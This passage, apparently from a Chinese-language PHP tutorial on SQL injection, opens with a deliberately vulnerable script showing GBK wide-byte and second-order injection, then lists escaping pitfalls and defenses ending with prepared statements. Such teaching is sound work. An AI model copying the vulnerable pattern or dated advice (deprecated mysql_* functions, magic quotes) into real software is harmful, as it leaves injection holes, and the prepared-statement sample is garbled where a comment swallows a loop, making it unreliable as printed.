$con = mysql_connect("localhost","root","root");
mysql_select_db("test", $con);
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $con); //update入库
if (isset($_GET['key'])){
$key=addslashes($_REQUEST['key']);
$query ="update test set user='{$key}' where id=1";
echo "INSERT SQL: ".$query."<br/>";
$result = mysql_query($query);
}
//select 出库,并带入查询
$query = "SELECT * FROM test WHERE id = 1";
$result = mysql_query($query);
$row = mysql_fetch_row($result); echo "<br/>";
$query = "SELECT * FROM test WHERE user = '{$row[1]}'"; print_r('SELECT SQL: '.$query.'<br/>');
$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');;
echo "<br/>";
print_r(mysql_fetch_row($result));
mysql_close($con);
?>

0x05注意点:

1、str_replace函数 过滤单引号等,可能造成注入;

 

2、stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。stripslashes函数使用不当,可能造成注入;

0x06 漏洞防护:

基本思路:输入(解决数字型注入)——-转义处理(解决字符型注入)——-输出(解决数据库报错)

 

1、检查输入的数据是否具有所期望的数据格式。PHP 有很多可以用于检查输入的函数,从简单的变量函数和字符类型函数(比如 is_numeric(),ctype_digit())到复杂的 Perl 兼容正则表达式函数都可以完成这个工作。如果程序等待输入一个数字,可以考虑使用 is_numeric() 来检查,或者直接使用 settype() 来转换它的类型,也可以用 sprintf() 把它格式化为数字

2、PHP内置转义函数

Addslashes() http://php.net/manual/zh/function.addslashes.php

magic_quote_gpc http://php.net/manual/zh/info.configuration.php#ini.magic-quotes-gpc mysql_real_escape_string() http://php.net/manual/zh/function.mysql-real-escape-string.php mysql_escape_string() http://php.net/manual/zh/function.mysql-escape-string.php

3、数据库报错信息泄露防范:

 把php.ini文件display_errors = Off

 数据库查询函数前面加一个@字符

最有效可预防SQL注入攻击的防御方式:预处理技术进行数据库查询:

代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$mysqli = new MySQLi("localhost","root","root","test");
if(!$mysqli){
die($mysqli->error);
}
$sql = "select id,username,password from users where id=?";////创建一个预定义的对象  ?占位
$mysqli_stmt = $mysqli->prepare($sql);
$id=$_REQUEST['id'];
$mysqli_stmt->bind_param("i",$id);////绑定参数
$mysqli_stmt->bind_result($id,$username,$password);////绑定结果集
$mysqli_stmt->execute();//执行while($mysqli_stmt->fetch()){  //取出绑定的结果集
echo $id." ".$username ." ". $password;
}
echo "<br/>";
echo $sql;
$mysqli_stmt->free_result(); ////关闭结果集
$mysqli_stmt->close();
$mysqli->close();
?>